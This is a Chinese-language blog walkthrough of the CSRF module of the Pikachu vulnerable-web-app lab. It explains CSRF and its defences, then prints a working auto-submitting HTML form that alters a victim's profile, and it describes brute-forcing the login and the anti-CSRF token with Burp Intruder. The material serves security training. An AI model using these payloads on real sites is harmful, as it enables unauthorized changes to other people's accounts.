Pikachu靶場系列持續更新~
要像追劇追番一樣追下去哦
實驗三 —— CSRF
CSRF概述
跨站請求僞造簡稱爲“CSRF”,在CSRF的攻擊場景中攻擊者會僞造一個請求(這個請求一般是一個鏈接),然後欺騙目標用戶進行點擊,用戶一旦點擊了這個請求,整個攻擊就完成了。
CSRF類型判斷
GET:
先去掉參數嘗試能否正常請求。如果可以,即存在CSRF漏洞。
POST:
如果有token等驗證參數,先去掉參數嘗試能否正常請求。如果可以,再去掉referer參數的內容,如果仍然可以,說明存在CSRF漏洞,可以利用構造外部form表單的形式,實現攻擊。如果直接去掉referer參數請求失敗,這種還可以繼續驗證對referer的判斷是否嚴格,是否可以繞過。
應對CSRF的安全措施
–對敏感信息的操作增加安全的token、referer;
–對敏感信息的操作增加安全的驗證碼;
–對敏感信息的操作實施安全的邏輯流程,比如修改密碼時,需要先校驗舊密碼等
–同源策略:協議、域名、端口相同的兩個網頁纔可以共用cookie
Token防禦
在請求參數中加入token,服務器在接受到請求後, 返回給用戶兩個token值。
一個放在cookie信息中,瀏覽器會保存,下次請求的時候瀏覽器自動攜帶。
一個放在前端頁面中,當用戶再次向服務器發送數據的時候。
服務器會對比cookie中和前端頁面中的csrf_token值,如果一樣,證明是用戶操作,如果不一樣,證明是非法操作。
CSRF與XSS的區別
CSRF是借用戶的權限完成攻擊,攻擊者並沒有拿到用戶的權限;而XSS是直接盜取到了用戶的權限,然後實施破壞。
實驗環境
我用的是phpstudy集成環境,一鍵搭環境 (如果端口沒被佔用還是比較順利的)
靶場:Pikachu靶場下載
工具:burpsuite
接下來:
–>把下載下來的pikachu文件夾放到web服務器根目錄下
–>根據實際情況修改inc/config.inc.php裏面的數據庫連接配置(登錄名和密碼要與數據庫相同)
–>訪問http://x.x.x.x/pikachu,會有一個紅色的熱情提示"歡迎使用,pikachu還沒有初始化,點擊進行初始化安裝!",點擊即可完成安裝。
CSRF——get
需要登錄,之前的"admin,123456“登陸失敗,所以需要重新爆破
爆破得到,賬號有vince/allen/kobe/grady/kevin/lucy/lili,密碼全部是123456
點擊”修改個人信息“
抓包得到Get型的請求頭部。嘗試修改add參數,然後瀏覽器新標籤輸入url打開
CSRF——post
抓包發現是post傳參
嘗試構造form表單CSRF_post.html,點擊鏈接惡意修改個人信息
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://[站點IP/域名]/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="hacker" />
<input id="phonenum" type="text" name="phonenum" value="11111111111" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="[email protected]" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
訪問該表單後,個人信息就發生了變化
CSRF——Token
抓包發現是一個get型的token
在這裏我利用了暴力破解繞token的方式繞token值,丟進intruder
add參數是爲了修改信息
(詳細過程參考”Pikachu系列——暴力破解“)
應該算成功了吧,點擊響應包的render,發現add參數已變
GOT IT!
******************************************************
這一CSRF模塊先搞定了,關注收藏追更哦~